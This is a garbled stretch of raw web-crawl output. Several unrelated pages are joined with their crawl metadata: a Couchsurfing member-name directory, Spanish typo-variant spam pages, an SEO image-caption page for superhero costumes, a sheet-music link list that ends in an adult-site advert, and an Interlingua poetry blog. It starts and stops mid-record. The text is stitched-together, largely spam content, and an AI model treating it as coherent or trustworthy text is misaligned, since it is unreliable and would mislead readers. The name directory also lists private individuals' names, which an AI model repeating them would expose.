Hénanff|\n|Camille Le Borgne||Camille Le Hérissé|\n|Camille Le Borgne||Camille Le Hoangan|\n|Camille Le Boulanger||Camille Le Houérou|\n|camille LE BOULANGER||Camille Le Huédé|\n|Camille Le Bozec||Camille Le Huédé|\n|Camille Le Bras||Camille Le Jeune|\n|Camille Le breton||Camille Le Jeune|\n|camille le bris||Camille Le Jeune|\n|Camille Le Bruchec||Camille Le Junter|\n|camille Le chaix||Camille Le Lan|\n|camille le chatelier||Camille Le Lan Toson|\n|Camille Le Claire||Camille Le Large|\n|Camille Le Cleuziou||Camille Le Lous|\n|Camille Le Coeur||Camille Le Madoqua|\n|Camille le Compagnon and Thomas Foricher||Camille LE MAITRE|\n|Camille Le Coq||Camille Le Maléfan|\n|Camille Le Crosnier Pieretti||Camille Le Maléfan|\n|Camille Le Denic||Camille Le Marec|\n|Camille Le Denmat||Camille Le Marrec|\n|camille Le deun||Camille Le Masne|\n|Camille LE DU||Camille LE MELEDO|\n|Camille Le Falhun||Camille Le men|\n|Camille Le Falhun||Camille le Mentec|\n|Camille Le Falhun||Camille Le Merrer|\n|Camille Le Floch||Camille Le Meur|\n|Camille Le Floch||Camille Le Meur|","id":"","dump":"CC-MAIN-2017-09","url":"https:\/\/www.couchsurfing.com\/directory\/C-5-62","date":"2017-02-26T20:25:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501172050.87\/warc\/CC-MAIN-20170219104612-00499-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.4783935845,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.4783935844898224, \"fra_Latn_score\": 0.4650179147720337, \"nap_Latn_score\": 0.016317352652549744}","num_words":576,"character_repetition_ratio":0.284,"word_repetition_ratio":0.078,"special_characters_ratio":0.242,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.554,"perplexity_score":30391.1,"cluster_detection":-1} +{"text":"Alcofnoque\n'Alcofnoque' se parece a 'alcornoque', ¿Con alcofnoque querías decir alcornoque?\nAlcofnoque tiene 10 letras\nDefinición de alcornoque aquí\nResultados de búsqueda:\n|Google:||alcofnoque|\n|Yahoo:||alcofnoque|\n|MSN:||alcofnoque|\n|Wikipedia:||alcofnoque|\nResultados de imágenes:\n|Google:||alcofnoque|\n|Yahoo:||alcofnoque|\n|MSN:||alcofnoque|\nYoutube: alcofnoque\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.tuspalabras.com\/alcofnoque","date":"2017-04-23T23:43:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118851.8\/warc\/CC-MAIN-20170423031158-00499-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.3021132648,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.30211326479911804, \"nah_Latn_score\": 0.18960359692573547, \"spa_Latn_score\": 0.10041223466396332, \"ast_Latn_score\": 0.07345014810562134, \"sco_Latn_score\": 0.060253143310546875, \"cot_Latn_score\": 0.056741856038570404, \"por_Latn_score\": 0.03543515130877495, \"glg_Latn_score\": 0.026841118931770325, \"kal_Latn_score\": 0.011135482229292393}","num_words":313,"character_repetition_ratio":0.15,"word_repetition_ratio":0.079,"special_characters_ratio":0.159,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.294,"perplexity_score":10471.0,"cluster_detection":-1} +{"text":"autismblog.us\nHome\nContact\nCopyright Policy\nDMCA\nPrivacy Policy\nHome\n»\nSuper Heros Fille\nSuper Heros Fille\nfilles deluxe batgirl superhero dc comics costume de dguisement halloween outfit - Super Heros Fille\ncostume fille super hero girl super girl 5 7 ansjpg - Super Heros Fille\npoupe dc super hero girl dc girls supergirl 30 cm - Super Heros Fille\nsuper hros fille habille jeux gratuits jeux en ligne - Super Heros Fille\ndguisement classique fille batgirl super hero girls - Super Heros Fille\nvous aimez cet article - Super Heros Fille\nsuper heros rouge robe fantaisie fille bande dessinee - Super Heros Fille\nenfant super heros costume deguisement halloween semaine du - Super Heros Fille\nfille super hero chauve souris americain cape de - Super Heros Fille\nsuper hero girls 6 sugar discs 20cm - Super Heros Fille\ndguisement de super hrone rouge baby costume super hros fille dguisement super hros fille - Super Heros Fille\nfemme super hros ou une hrone en vol - Super Heros Fille\npetites invitations super hros fille - Super Heros Fille\nvotre petite fille enfant prodige de fille costume halloween capitaine amarica enfants super hros costumes - Super Heros Fille\nimage is loading superhero outfit girls fancy dress super hero costume - Super Heros Fille\nsuper hros super hros jeune fille costume - Super Heros Fille\nmiraculeuse coccinelle kids fancy dress world book day - Super Heros Fille\ndc super hero girls invitations 8pkg - Super Heros Fille\ndc super hero girls une nouvelle franchise pour les filles - Super Heros Fille\ncostume super heros fille - Super Heros Fille\ndeguisement super hero fille - Super Heros Fille\nsuper heros fille new dc heroes the - Super Heros Fille\nfille de super hros est firement debout avec un sourire amical vecteur par rivansyamseller - Super Heros Fille\ndguisement classique batgirl super hero girls fille - Super Heros Fille\nflying pink cute superhero girl - Super Heros Fille\nsuper mario fille - Super Heros Fille\ncostume super heros fille - Super Heros Fille\nmoonight sexy adulte femme hero fille costume dc comic wonder woman super hros cosplay outfit - Super Heros Fille\n27 super hros filles digital clipart super hros clip art fille super hros clip art petite fille super hros des cliparts super hros clip art 00186 - Super Heros Fille\ncostume wonder woman dc super hero girls avec tutu fille - Super Heros Fille\nsuper hros la petite fille qui sait tout brain damaged - Super Heros Fille\ndeguisement super hero fille - Super Heros Fille\nadult supergirl costume - Super Heros Fille\n2017 new child supergirl sexy girl super hero costume cosplay party for super girl costume kids - Super Heros Fille\nbanque dimages fille de bande dessine sexy en costume de super hros avec cape - Super Heros Fille\npoupe dc super hero girl dc girls batgirl 30 cm - Super Heros Fille\ndguisements de super hros adulte dguisez vous en superwoman et avec super hros fille marvel - Super Heros Fille\nhalloween cosplay wonder woman costume super hero super girl ladies fancy dress women customes for woman - Super Heros Fille\ndguisement classique fille harley quinn superhero girls - Super Heros Fille\nsuper woman hero femme superhero fille dans le costume de super hros - Super Heros Fille\nneige blanc batman superman fille amoureuse histoire motionnelle de super hros dans la vie rel - Super Heros Fille\ndeguisement super hero fille 1012 ans - Super Heros Fille\ndguisement flash femme les gants les super hros et dguisements pour super hros fille marvel - Super Heros Fille\nsuper girls bd fille fille super super hros clipart par dtaiez - Super Heros Fille\ndeguisement de super heros fille super heros 5 - Super Heros Fille\nsuperhero cliparts supergirl clipart super hros fille clipart clipart flash costume de - Super Heros Fille\nsuper hros caractre vectoriel fille vecteur gratuit - Super Heros Fille\ncool deguisement super hero fille with super hero femme - Super Heros Fille\nktlparty super fille dames wonder woman costume fantaisie robe femmes halloween costumes bleu femmes super - Super Heros Fille\nimage is loading girls superhero fancy dress costume offcial kids age - Super Heros Fille\nmarvel dvoile un nouveau super hros kamala khan une jeune fille musulmane par meltybuzz - Super Heros Fille\nsuper hero girl poupe wonder woman - Super Heros Fille\njeunes filles supergirl deluxe costume super hros dc comics dguisement - Super Heros Fille\ndguisement super hros dans le noir fille - Super Heros Fille\ndc super hero girls batgirl wonder woman supergirl t shirt fronces au col - Super Heros Fille\nfemmes biere femme super heros super heros alcool - Super Heros Fille\nimage is loading sexy fancy dress super hero girl power comic - Super Heros Fille\ntafiy 2017 femme super hros costumes adulte costume fancy dress outfit halloween super fille superwoman - Super Heros Fille\ncostume wonder woman dc super hero grils deluxe fille - Super Heros Fille\nsuper hero girl poupe harley quinn - Super Heros Fille\ncute superhero girl cartoon stock image - Super Heros Fille\ngirls supergirl tutu costume superhero child fancy dress - Super Heros Fille\nrubies costume kids dc superhero girls deluxe harley quinn costume large - Super Heros Fille\nsuper hero fille costume de femmes sexy super hros halloween party cosplay dguisements tenues - Super Heros Fille\nsuper hros fille marvel - Super Heros Fille\ndownload fille dans le costume de super hros illustration de vecteur illustration du hroque - Super Heros Fille\nrf 327138 dguisement super hros fille 6 8 ans imagibul cration oxybul - Super Heros Fille\ndownload superhero woman presenting stock vector illustration of mask 58930871 - Super Heros Fille\nmaquillage facile de super hros fille ides de ftes - Super Heros Fille\nillustration of super hero girl in the fly vector - Super Heros Fille\nsuper heros fille deguisement - Super Heros Fille\nsuperheros 600 - Super Heros Fille\ndguisement super hros tutu fille - Super Heros Fille\ncaptain america au fminin - Super Heros Fille\ndessiner un super hros fille - Super Heros Fille\nrubies dguisement supergirl enfant - Super Heros Fille\ndguisement classique wonder women super hero girls fille - Super Heros Fille\nwonder woman cosplay vtements pour petite fille halloween party robe femmes enfants super hero robes fantaisie - Super Heros Fille\ndguisement classique fille batgirl super hero girls 1 - Super Heros Fille\ndguisement classique fille wonder woman super hero girls deguise toi achat de dguisements enfants - Super Heros Fille\nfille de la justice 4pc deguisement super hros - Super Heros Fille\ndguisement luxe wonder woman fille super hero girls - Super Heros Fille\ndguisement captain america fille - Super Heros Fille\nphotos les 10 filles les plus sexy des films de super hros - Super Heros Fille\ncostume super hros fille - Super Heros Fille\ndeguisement super heros fille enfants costumes dguisements et accessoires fte en fte - Super Heros Fille\nsuper hro fille - Super Heros Fille\ndownload bande dessine mignonne de fille de super hros illustration de vecteur illustration du jaune - Super Heros Fille\ncartoon girl in superhero costume royalty free cartoon girl in superhero costume stock vector art - Super Heros Fille\n2017 adulte wonder woman costume de super hros fille costume anime halloween cosplay parti fantaisie robes - Super Heros Fille\nillustration de rendu 3d de pointage pose de super hros fille image de visible3dscience - Super Heros Fille\nanniversaire super hros fille 5 ans diy capes - Super Heros Fille\ndeguisement super heros fille - Super Heros Fille\njuin le blog de lecteurdecomics se rapportant super hros fille marvel - Super Heros Fille\ndc super hero girlscomicsdc comicssriegamer girlgeekette - Super Heros Fille\n27 superhero girls digital clipart superhero clip art girl superhero clip art little girl super hero clipart super hero clip art - Super Heros Fille\ncostume supergirl et wonder woman dc super hros girls fille super hros fille marvel - Super Heros Fille\nphotos les 10 filles les plus sexy des films de super hros - Super Heros Fille\nles filles aussi ont droit leur anniversaire super hros fille dcouvrez notre dco super - Super Heros Fille\ndguisement luxe harley quinn fille super hero girls - Super Heros Fille\ncoloriage super hros a imprimer\ncoloriage de super hros\ncoloriage de super hros\ngateau super heros\ncoloriage super hros a imprimer\ngateau super heros\nsuper heros fille\nvoiture super sportive\ngateau anniversaire super heros\nRandom post :\ncoloriage super hros a imprimer\ncoloriage de super hros\ncoloriage de super hros\ngateau super heros\ncoloriage super hros a imprimer\ngateau super heros\nsuper heros fille\nvoiture super sportive\ngateau anniversaire super heros","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/autismblog.us\/super-heros-fille.html","date":"2018-06-21T08:21:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864110.40\/warc\/CC-MAIN-20180621075105-20180621095105-00438.warc.gz","language":"ina","language_score":0.423771292,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.42377129197120667, \"fra_Latn_score\": 0.13481874763965607, \"dag_Latn_score\": 0.0617036297917366, \"eng_Latn_score\": 0.05297331139445305, \"gmh_Latn_score\": 0.023449724540114403, \"asm_Latn_score\": 0.01902906596660614, \"wol_Latn_score\": 0.016756679862737656, \"pcm_Latn_score\": 0.016260938718914986, \"nov_Latn_score\": 0.015452288091182709, \"eus_Latn_score\": 0.014864261262118816, \"lat_Latn_score\": 0.014258167706429958, \"sco_Latn_score\": 0.013109053485095501}","num_words":2533,"character_repetition_ratio":0.275,"word_repetition_ratio":0.151,"special_characters_ratio":0.186,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.344,"perplexity_score":11200.1,"cluster_detection":-1} +{"text":"Mediamusic.org\npartition de musique page 1\npartition de musique page 2\npartition de musique page 3\npartition de musique page 4\npartition de musique page 5\npartition de musique page 6\npartition de musique page 7\npartition de musique page 8\npartition de musique page 9\npartition de musique page 10\nAcheter partition de moraito\nAcheter partition de morcheeba\nAcheter partition de moreauj\nAcheter partition de morissette\nAcheter partition de morricone\nAcheter partition de morrison\nAcheter partition de mouskouri\nAcheter partition de moustaki\nAcheter partition de murat\nAcheter partition de muse\nAcheter partition de native\nAcheter partition de niagara\nAcheter partition de nicoletta\nAcheter partition de nirvana\nAcheter partition de noah\nAcheter partition de nodoubt\nAcheter partition de noird\nAcheter partition de nolwenn\nAcheter partition de nougaro\nAcheter partition de nunez\nAcheter partition de nyman\nAcheter partition de oasis\nAcheter partition de obispo\nAcheter partition de orbison\nAcheter partition de osbourne\nAcheter partition de pagny\nAcheter partition de palmasg\nAcheter partition de palmerr\nAcheter partition de pansequito\nAcheter partition de paradis\nAcheter partition de paredesqu\nAcheter partition de parkerc\nAcheter partition de parrilla\nAcheter partition de paternasa\nAcheter partition de pausini\nAcheter partition de pearl\nAcheter partition de pele\nAcheter partition de penapa\nAcheter partition de perretp\nAcheter partition de pettyt\nAcheter partition de piaf\nAcheter partition de pink\nAcheter partition de pinkf\nAcheter partition de pisa\nAcheter partition de platters\nAcheter partition de poetic\nAcheter partition de pogues\nAcheter partition de police\nAcheter partition de polnareff\nAcheter partition de pontieuxl\nAcheter partition de portishead\nAcheter partition de powellb\nAcheter partition de presgurvic\nAcheter partition de presley\nAcheter partition de primal\nAcheter partition de prince\nAcheter partition de privat\nAcheter partition de pulp\nAcheter partition de queen\nAcheter partition de queensosa\nAcheter partition de radiohead\nAcheter partition de rageam\nAcheter partition de ramazzotti\nAcheter partition de reda\nAcheter partition de redding\nAcheter partition de redhcp\nAcheter partition de reed\nAcheter partition de reed\nhttp:\/\/www.mediamusic.org\nLe meilleur de la vidéo X sur Internet : bestof-XXX.com","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/free-musique.com\/back\/librairie-musicale\/partition_musique.htm","date":"2023-12-05T21:40:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100568.68\/warc\/CC-MAIN-20231205204654-20231205234654-00286.warc.gz","language":"ina","language_score":0.5270110965,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.5270110964775085, \"fra_Latn_score\": 0.3465888798236847, \"ile_Latn_score\": 0.06238953024148941, \"swe_Latn_score\": 0.018257347866892815}","num_words":579,"character_repetition_ratio":0.495,"word_repetition_ratio":0.107,"special_characters_ratio":0.152,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.429,"perplexity_score":8188.3,"cluster_detection":-1} +{"text":"Alcornoq7e\n'Alcornoq7e' se parece a 'alcornoque', ¿Con alcornoq7e querías decir alcornoque?\nAlcornoq7e tiene 10 letras\nDefinición de alcornoque aquí\nResultados de búsqueda:\n|Google:||alcornoq7e|\n|Yahoo:||alcornoq7e|\n|MSN:||alcornoq7e|\n|Wikipedia:||alcornoq7e|\nResultados de imágenes:\n|Google:||alcornoq7e|\n|Yahoo:||alcornoq7e|\n|MSN:||alcornoq7e|\nYoutube: alcornoq7e\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.tuspalabras.com\/alcornoq7e","date":"2017-04-25T16:58:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917120694.49\/warc\/CC-MAIN-20170423031200-00447-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.3364273608,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.33642736077308655, \"nah_Latn_score\": 0.19069620966911316, \"sco_Latn_score\": 0.06285830587148666, \"spa_Latn_score\": 0.058493826538324356, \"ast_Latn_score\": 0.05843396112322807, \"por_Latn_score\": 0.030627382919192314, \"kal_Latn_score\": 0.02944905124604702, \"glg_Latn_score\": 0.027370180934667587, \"cot_Latn_score\": 0.023151183500885963, \"zul_Latn_score\": 0.018207775428891182, \"chd_Latn_score\": 0.015343519859015942}","num_words":313,"character_repetition_ratio":0.15,"word_repetition_ratio":0.079,"special_characters_ratio":0.172,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.326,"perplexity_score":9411.5,"cluster_detection":-1} +{"text":"Jul 13, 2017\nLege le texto original hic:\nhttp:\/\/poemasepensatas.blogspot.se\/2013\/10\/duo-robatores.html\nLe musica introductori me tanto placeva, que io decideva facer un composition complete de illo. Ecce le resultato:\nJul 12, 2017\nAn on pote esser intacte\nin un mundo que se disintegra?\nAn on pote haber un futuro\nin un mundo sin sperantia?\nAn on pote amar\nin un mundo de odio?\nIlles vole que nos serea\nqualcuno que nos non es\nIlles vole que nos calcarea\na nostre animas\ne lassarea nos esser hypnotisate\nper le reclama vacillante\nLe mundo es insan\nLe realitate del spirito es oblidate\ne le vacuo in le anima\nes plenate de articulos de marca,\nfilms e bonbones\nIo vole esser un calme insula\nin un mundo plenate de stress\nUn tenere nube\nin un celo indifferente\nUn monacho sin desiro\nin le avide citate\nIo es fatigate del molino de cavallo\nIo prefere libertate e povressa\nante ricchessa et extenuation\nIo arresta le rotas,\ntira le freno,\ndismonta le traino et entra\nin le quiete, magic foreste\nLe citate es morte\nma le foreste vive\nDesiro es suffrentia\nLe citate es plenate de dolor\nma le foreste es pacific\nA vices on debe arrestar se\nPensar, respirar\nExhalar le pensatas\ne facer spatio pro noves\nUn altere vita es possibile\nNos non solmente debe\nvender, comprar, comprar e vender\nma solo esser\nIo reveni al radices\nA mi ver identitate\nNemo me pote stoppar\nBuddha reimplacia le Mammona\nJun 1, 2017\nMay 19, 2017\nEsque es fin inter nos?\nNostre verbos collide in le aer\net explode\nIo ha satis del guerra\nEsque il ha nulle fin?\nNos ha tanto a perder\nma forsan es melior perder\nque perir\nEsque on pote reparar alco\nque se ha rupte\ntante vices?\nLe vita es troppo breve pro guerras\nIo vole viver le tempore\nque remane pro me\nin pace\nIl ha passate multe tempore usque le ultime vice quando io visitava un discotheca, ma recentemente io habeva le occasion de facer lo con alcun amicos. Poco surprendite io notava que non multo habeva cambiate desde le ultime vice.\nLe musica era tanto alte que on debeva critar in le aures del amicos pro esser audite. Le rhythmo era tanto intensive que on poteva sentir le forte vibrationes in le intestinos. Alcunos opina que le volumine exaggerate ha le objectivo de facer le hospites garrular minus e biber plus. Forsan isto es ver. Le barman era multo occupate durante tote le tempore.\nLe discjockey incessantemente combinava le compositiones musical assi que il nunquam deveniva silente. Le forte rhythmo metronomic era accompaniate de fragmentos melodic ex\nsynthetisatores e curte peciettas de canto feminin.\nLe hospites se moveva separatemente al pista de ballo, bombardate con intensivemente intermittente lumine multicolor le qual dava le movimentos del balla un apparentia futuristic.\nIo sperava que nemo del oscillante visitantes habeva epilepsia latente. Io habeva oblidate portar con me protege-aures, assi io tirava parve peciettas de mi pannello de naso e los insereva in mi aures pro evitar futur tinnitus e insufficientia auditive.\nAl veranda on poteva fumar. Mi amico, le amator de cigarros, con grande cura accendeva su preciose cuban. Ille me lassava gustar alcun tiradas e io, contrari al recommendationes commun, glutiva le fumo pro calmar le nervos con le nebula saturate con nicotina.\nLe amicas de nostre loco de labor, le quales nos accompaniava, se multo delectava. Illas se habeva vestite bellemente e habeva le aspecto multo attractive. Plure pueros se interessava pro illas e initiava conversationes, critante in le aures pro esser audite.\nFinalmente omne le pueros era rejectate. Disappunctate, illes vadeva via e nostre amicas se gaudeva de lor elevate inattingibilitate. Mi amico e io, inter nubes de fumo, constatava con alleviation que nostre amicas non nos interessava. Nos ambes ha sposas e filios. Nos ha le frustrante annos del juventute, con le chassa desperate de amor, detra nos.\nPost circa duo horas io quereva le amicas si illas habeva satis del festa. Forsan era tempore pro revenir al domo e dormir? Ma illas non del toto era de accordo.\nLe vespere justo habeva comenciate e le festa culminava. Illas con placer remanerea un poco plus.\nIl tardava al quarte hora del matino usque a mi retorno al domo. Io con hasta iva al lecto pro trovar al minus un par horas de somno ante le tempore de levar se. Fortunatemente io non habeva bibite tanto grande quantitates de alcohol, assi io habeva un micre spero de poter functionar passabilemente melior de un zombie durante le die sequente.\nChronica publicate in Panorama no. 2 \/ 2016\nApr 28, 2017\nIo es un parlator\ne parlar es mi labor\nIo parla tote le die\ne tote le nocte, deo mie\nMi voce es artificial\nisto es synthetic, non carnal\nToto lo que tu vole io dice\nIo es tu servitrice\nIo es le parlatora\nOmne viros me adora\nMa trovante que io non existe\nilles deveni tanto triste\nSempre io remane neutral\nnon me tocca emotiones\nmi voce es distincte e clar\nsin ulle preoccupationes\nQue vos me da le parolas\nle plus difficile, le plus longe\nIo nunquam facera errores\ntoto io sin falta depinge\nEndosymbiotic consortio\nio dice sin ulle effortio\nCelastro scandente\nIo pronuncia fluentemente\nFusilante mitraliatrice\nSin effortio io dice\nUltramicrobalancia\nfluentemente io pronuncia\nCata scriptor besonia su parlator\nassi como musica besonia instrumentos\nMarcus Scriptor e Carla Parlator\nha facite hodie iste experimento\nTu me trova in parlator.org\ne io face cata interlinguista org-\noliose, alora visita me tosto\ne usa mi servicios sin costo\nApr 27, 2017\nMar 13, 2017\nMar 8, 2017\nI\nyo senti satisfaction\nmemorante le calor estive\nnon plus con affection\nma con sentimentos pensative\nII\nle vita era dur\nmultes me noceva\ncerto manca mesur'\npro le dolor que yo susteneva\nIII\nnunquam capitulante\ntote problemas superante\nal celo yo me extende\nle sorte in mi manos prende\nin le autumno de mi vita\nyo non pensa del cadita\nnam ancora yo existe\nyo senti satisfaction\nmemorante le calor estive\nnon plus con affection\nma con sentimentos pensative\nII\nle vita era dur\nmultes me noceva\ncerto manca mesur'\npro le dolor que yo susteneva\nIII\nnunquam capitulante\ntote problemas superante\nal celo yo me extende\nle sorte in mi manos prende\nin le autumno de mi vita\nyo non pensa del cadita\nnam ancora yo existe\ne alora yo persiste\nIV\nyo es juvene, plen de energia\noptimismo, joia e passiones\ncrea le synergia\nque realisa mi visiones\nIV\nyo es juvene, plen de energia\noptimismo, joia e passiones\ncrea le synergia\nque realisa mi visiones\nMar 2, 2017\nFeb 14, 2017\nquando nostre encyclopedias era collectiones\nde pesante volumines le quales, con su plus de\nvinti volumines, occupava un integre section in le\nplanca de libros. Hodie illos occupa nulle spatio e\non pote consultar los quando on lo vole in le\ncomputator, tabletta o telephono intelligente.\nplanca de libros. Hodie illos occupa nulle spatio e\non pote consultar los quando on lo vole in le\ncomputator, tabletta o telephono intelligente.\nNon es necessari foliar preter centenas de paginas\n- le articulo relevante es trovate in secundas.\nE le volumines se ha multiplicate: si le Wikipedia\nanglophone sia imprimite illo plenarea 7473 volumines,\ncata un con 700 paginas. Como nos pote saper isto?\nProque le 7473 volumines pote esser acquirite de\nlulu.com, cognoscite per le usatores de Interlingua\npro su multe libros in nostre lingua.\nlulu.com, cognoscite per le usatores de Interlingua\npro su multe libros in nostre lingua.\nCata volumine costa 80 $, e le collection\ncomplete pote esser comprate al nitide\namonta de 500000$.\n\"Print Wikipedia\", Le Wikipedia imprimite,\nes create del artista e programmator\nMichael Mandiberg, assistite de Jonathan\nKirinathan. Illes creava un programma que\nformatava omne le articulos e los adaptava\nal libros, sin imagines.\nIste imprimito presenta Wikipedia in su\nforma de 7 april 2015. Ma Wikipedia es\nredigite e cresce continuemente, assi ille\nqui volerea usar lo post un tempore trovara\ninformation de plus in plus inactual.\nLe valor del Wikipedia imprimite non es\ncomo encyclopedia ma como un illustration,\nun conceptualisation, del amonta immense\ndel information in Wikipedia, que ya es un\nmicre parte del tote internet. Isto nos face\nrealisar que le quantitate del texto in internet\nes plus grande que in omne le libros e manuscriptos\nin omne le bibliothecas del mundo, particularmente\nconsiderante le facto que Google es in le processo\nde scannar milliones de libros e publicar los in internet.\nLe Wikipedia anglese ha circa cinque milliones\nde articulos. Le Wikipedia in Interlingua usque\nnunc ha circa 14.600 articulos. Forsan non\ntanto numerose, ma plure que ha multe altere\nlinguas con milliones de parlantes.\nSi le circa cinque milliones articulos anglese\nplena 7473 volumines, le articulos in Interlingua\nplenarea 22 volumines, si illos ha le mesme longor.\nMesmo si nos suppone que le articulos\nson in media quatro vices plus curte,\nisto da quatro e un medie volumines, con 700 paginas\ncata un. Si nos serea modeste in tanto que\nnos suppone que illos son 22 vices plus\ncurte, isto totevia nos lassa con un grande\nvolumine de 700 paginas, toto in Interlingua,\ncon multissime articulos interessante.\nQue dice vos? Esque nos debe contactar\nsenior Mandiberg e peter le dar nos su\nprogramma assi que nos potera imprimer\nle Wikipedia in Interlingua?\nIn vice de un gigantesc e inusabile obra\nmastodontic nos habera un encyclopedia\nusabile pro allegrar omne le interlinguistas\nque anque son bibliophilos.\nPublicate in Panorama in interlingua, no.1, 2016\nPublicate in Panorama in interlingua, no.1, 2016\nJan 1, 2017\nSeque me a un viage de colores,\nformas e movimentos\nLassa me mitter te in trance\ne tunc nos potera viagiar via\nin le universo del phantasia\nLe colores flue\ntrans corpores astral\nIllos caressa nostre pensatas\ne sentimentos\nLe sphera immortal del perfection\nmassa le nucleo del existentia\nUn cosmic vento vorticose\nnos duce in circulos:\nin carosellos multicolor\nNos es radios infrarubie que salta\nal molle mattas del campos gravitational\nLe bracio gigantic del galaxia spiral\nnos jecta via al vacuitate interstellar\nUbique nos vide le ancian lumine\ndel aggregationes galactic\nTu te memora, le prime explosion:\nle prime e le plus grande?\nLe explosion e le expansion\nnos ha formate e ancora\nnos prende via del centro\nLe cyclo del vita se repete\nIlle qui vide le totalitate\nvide le circulation\nOmne le modellos conveni\nLe circulo sempre es perfecte\nToto lo que vive es unite\nNos omnes balla\nun menuet cosmic,\nun walzer universal,\nun tango passionate del vita\ntrans spatios illimitate\nNos es electrones\nque curre in un torrente\nNos hasta, nos vole arrivar\nal relevamento del discarga\nubi nos finalmente\nreposara\nQuando un entitate mori,\nun altere es nascite\nLe continuitate del animas\nes assecurate\nLe petra deveni un planta\ndeveni un animal\ndeveni un homine\ndeveni un deo\nEx lo simple\nlo complexe es nascite\nLo complicate reveni\nal origine, al fonte\nNos es duo lumines\ninter mille milliardos lumines\nSolitude es un illusion\nin le formicario del existentia\nSeparation es un illusion\ninter le brillantia galactic\nLe suspiro del existentia es un sibilo\nque nunquam mutesce\ne dunque es imperceptibile\nsed si tu deveni toto silente e pacific\ntu quasi lo audira\nIo canta un nove canto\nIo besonia nihil,\nproque io ha mi canto\nIllo costava nihil\ne io non vole vender lo\nIo non besonia nove cosas\nLe vetere cosas suffice\nLe luce del sol es gratis\ne le veritate es gratis,\nma difficile a trovar\nIo canta un nove canto,\nle tonos cerca le veritate\nLe vetere anno ha finite\nUn nove ha nascite\nLe nove vita comencia\nLe ver vita\nmanca obligatorietate\nLe adrenalina es replaciate\ndel oxytocina\nStress es replaciate del pace\nVetere portas son claudite\nnove se aperi\nVetere facies dispare\nnove son vidite al horizonte\nA vices on debe vader sol\nante que on trova apte\ncompaniones de viage\nVetere amor resurge\nLe amor es nascite de novo\nIo non senti timor\nCorage flue ex anima\nusque al punctas del digitos\nPace es mi sol scopo\nOblida me\nIo non plus existe in vostre mundo\nInter umbras io me ha facte un nido\nIbi io sede et ascolta\nle tonos del eternitate\nLe nubes se ha arrestate in celo\nEterne es le crepusculo\nIo lassa su debile lumine\nfacer mi cute tepide\nIo vole nihil\nNulle scopo existe\nLe via duceva a un precipitio\nIo me sedeva ante illo\ne indifferentemente spectava\nle haste e febrilitate del mundo\nQuando io levava mi vista\nio audiva le harmonias stellar\ne nunquam plus voleva spectar in basso\nLe verbos es celate\nRarmente illos vole apparer\nToto importante jam es dicte\nLe abstractiones es exhaurite\nSolmente remane\nobservationes quotidian\nIo vive de halito a halito\nPlena le pulmones completemente\nPace\nSilentio\nLe anno ha finite\nBon nocte...","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/poemasepensatas.blogspot.se\/2017\/","date":"2017-07-27T12:46:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549428257.45\/warc\/CC-MAIN-20170727122407-20170727142407-00692.warc.gz","language":"ina","language_score":0.9999880791,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.9999880790710449}","num_words":2554,"character_repetition_ratio":0.029,"word_repetition_ratio":0.082,"special_characters_ratio":0.195,"stopwords_ratio":0.053,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":2190.6,"cluster_detection":-1} +{"text":"Melhor De Un Jardin Sur Le Nil\nMelhor De Un Jardin Sur Le Nil\nAmazon Un Jardin Sur Le Nil By Hermes For Women Eau De do un jardin sur le nil, origem:amazon.com\nTags: herm s un jardin sur le nil eau de toilette uni, hermes un jardin sur le 